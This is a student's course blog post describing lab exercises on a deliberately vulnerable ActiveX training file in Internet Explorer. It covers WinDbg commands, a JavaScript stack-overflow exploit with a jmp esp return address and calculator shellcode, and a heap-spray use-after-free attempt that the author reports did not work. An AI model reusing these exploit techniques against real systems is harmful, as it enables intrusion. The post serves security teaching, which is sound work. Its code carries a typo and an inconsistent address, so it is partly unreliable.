Lab 4: Software Vulnerabilities and Common Exploits

Jonathan Harijanto

February 7, 2017

CS 373: Defense Against the Dark Arts - Winter 2017

Abstract

The purpose of this blog is to describe my observation from vulnerability analysis and exploitation on Windows operating system. This blog will cover the testing methodology and the knowledge that was gain from completing the lab.

I. Blog

A. What you looked at:

This week is all about vulnerability analysis and exploitation on Windows operating system. There are three mini labs available in an HTML file called FSExploitMe, and each of them covers different concepts of vulnerabilities and exploits. The software that I used for this week were Internet Explorer (IE) – the browser to open the FSExploitMe file, Notepad++ and WinDbg – a debugging tool for Windows.

B. How you looked at it & What you found:

1) Lab 1:
The goal of this first lab was to become familiar with WinDBG tools. I learned how to attach Internet Explorer process into WinDBG because I need to debug ActiveX Control that's embedded into Internet Explorer's memory space. The 'attaching' wasn't difficult, all I had to do was pressed 'F6' button in WinDBG, and selected the second process of Internet Explorer (iexplore.exe). It was interesting to see the browser always not responding by the time I managed to attach the software. I later discovered that the debugging mode in WinDBG causes that. Thus, the solution was to hit 'g' button after the attachment to stop the debugging process.

I learned a lot of things from this first lab, especially about the command list functionality in WinDBG. I discovered that the command `bp <address>` would set a breakpoint at that particular address. Furthermore, the command `lmf m <module name>` will display the specific module load address. Finding the size of a stack is also quite simple, I only need to type `!teb`, then manually subtract the address of StackBase with StackLimit with a command `?StackBase-StackLimit`. Besides counting stack size, WinDBG can display the pointer size of data in a Unicode format with the command `du poi(<name>)`. Lastly, what I found neat was the command `.formats <pointer name>` that could retrieve all of the pointer's information in Hex, Decimal, Binary and Float.

2) Lab 2:
In the second lab, Brad (the instructor) wanted us to learn about the way to prioritize stack-based vulnerabilities and how to exploit them. To learn about the vulnerability in a stack, Brad provided a URL called 'Smash the stack', that will trigger a stack overflow. I was amazed that I was able to retrieve a lot of information from this undesirable condition (stack overflow). I learned that finding a register that contains the attacker-controlled data (4141) wasn't difficult. The command `r` displayed all registers, and from there I could see which one contains the address value of 41414141. Also, I figured out a new command `dd <pointer>` that could display the reference memory. With the help of `dd`, I could check which registers were pointing to the attacker-controlled data. Lastly, this second lab taught me how to find the size of the overflow buffer too. There were a large amount of steps involved; first, I had to set a breakpoint at the address of the function that contains the vulnerability. Next, I need to re-trigger the link that caused the stack overflow. Once it happened, I entered `uf eip` command to unassemble the function and looked for an assembly instruction that says `lea     ecx,[ebp-400h]`. This instruction told me that the function is loading an effective address of 0x400 byte long, which is the size of the buffer.

My next move was to work on the exploitation part. In this section of the lab, I need to launch the shellcode (a calculator program) to show that I succeeded to exploit the vulnerability of a stack. To achieve that goal, Brad instructed us to complete the javascript code given. Below is my final code:

```
function L2Excercise1() {
        var s = MakeString(1028/2);
        s += "\u2437\u5443";
        s += "\u4141\u4141";
        s += shellcode;
        FSExploitMe.StackBuffer(s);
```

Let me explain about the code above. First, it is not a coincidence that the variable `s` has a value of 1028/2. There are several steps required to obtain that number. In WinDBG, I called `msfPatternString`, then invoked !load_byakugan and !pattern_offset 2000 to determine the offset. After that, WinDBG displayed that EIP was overwritten at an offset of 1028. Thus, I passed that offset, as an argument, into `MakeString` method. The argument value must be divided by two (x / 2) because `MakeString` method returns 2 bytes for every one requested.

The next step was to know the address of `jmp esp` because I'm going to utilize this pointer to point the shellcode. So, I need to look for the address of `jmp esp` using the `lmf m FSExploitMe` command. It was interesting to know that a stack address must be appended in reverse order. For example, an address of 54432437 must be written down as `var = "\u2347 \u5443"`. The following line is adding a '41414141' string to act as a "buffer" so that the shellcode won't get popped from the stack. The last two lines are appending the shellcode and triggering the stack to overflow. As soon as I saved my javascript and clicked the URL, a calculator appeared from IE. Hence, I just successfully exploited a stack vulnerability.

3) Lab 3:

Lab 3 aimed to teach us about heap exploitation. The procedures were almost the same with lab 2, but the javascript code was different. Furthermore, this lab required me to manually enable and disable PageHeap and Usermode stack using a command prompt. The reason why I enabled them (PageHeap and Usermode stack) because I need to know the HeapFree function call address. To obtain the address of the HeapFree function, a simple command `!heap -p -a eax` must be executed in winDBG. Then, in a Disassembly windows, searched for the string "HeapFree". When I did those, I noticed a string `call    dword ptr [FSExploitMe!_imp__HeapFree (54434010)]` with an address of 544324d0.

After I figured out the HeapFree address, I must disable the PageHeap and Usermode stack to activate the low-fragmentation heap feature. Also, I need to do some coding to make the heap exploitation happened. Here's how the javascript code looks like:

```
function L3Exercise1() {

        // STEP 1

        // I have to define the replacement block here.
        replacementBlock = "\u4141\u4141\u4141\u4141\u4141\u4141\u4141
        \u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141
        \u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141
        \u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141
        \u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141
        \u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141
        \u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141
        \u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141\u4141"

        // STEP 2 - This step enable LFH

        // I have to define the appropriate size
        enableLFH = new Array(20);

        for (i=0; i<enableLFH.length; i++) {
                enableLFH[i] = document.createElement("param");
                enableLFH[i].name = replacementBlock;
        }
        var objPtr = FSExploitme.GetClassy();

        // STEP 3A - Prepare a replacement block

        replacements = new Array(100);

        for (i=0; i <replacements.length; i++) {
                replacements[i] = document.createElement("param");
                // I'm preparing the replacement block
                replacements[i].name = replacementBlock;
        }

        FSExploitMe.KillClassy(objPtr);

        // STEP 3B - Replace the freed block

        // I have to uncomment these few lines
        CollectGarbage();
        for (i=0; i<replacements.length; i++) {
                replacements[i].name = replacementBlock;
        }

        // STEP 4 - Call the HeapSpray();

        // I'm calling the HeapSpray
        L3HeapSpray("\u0028\u0a0a" + shellcode)''

        FSExploitMe.BeClass(objPtr);
}
```

Let's talk about the code. First, I assigned `replacementBlock` variable with lots of '4141' strings until it has 0x74 elements. Next, I set `enableLFH` to have an array of size 20 to enable Low-Fragmentation Heap. Then I wrote `replacements[i].name=replacementBlock` because I need to have a substitution for the freed objects, in this case, the substitution was the '4141' strings. When all of them were set, I invoked `L3HeapSpray()` method to trigger the shellcode. Supposedly, my IE browser should crash, and my calculator should appear when I clicked the URL. Unfortunately, that didn't happen when I tried it. After several hours had wasted figuring out the issue, I need to acknowledge that I didn't succeed this lab. However, even though I wasn't able to crash the browser and trigger the calculator, I still managed to get the concept from this lab.

II. Conclusion

I would say that this week's lab was like a hacking 101 lesson. The reason I said this because I learned how to take advantages of vulnerability by deploying a piece of software (shellcode). Furthermore, I also gained a lot of information related to a WinDBG software. I've never used this tool before, but thanks to Brad, I'm interested in learning more about it.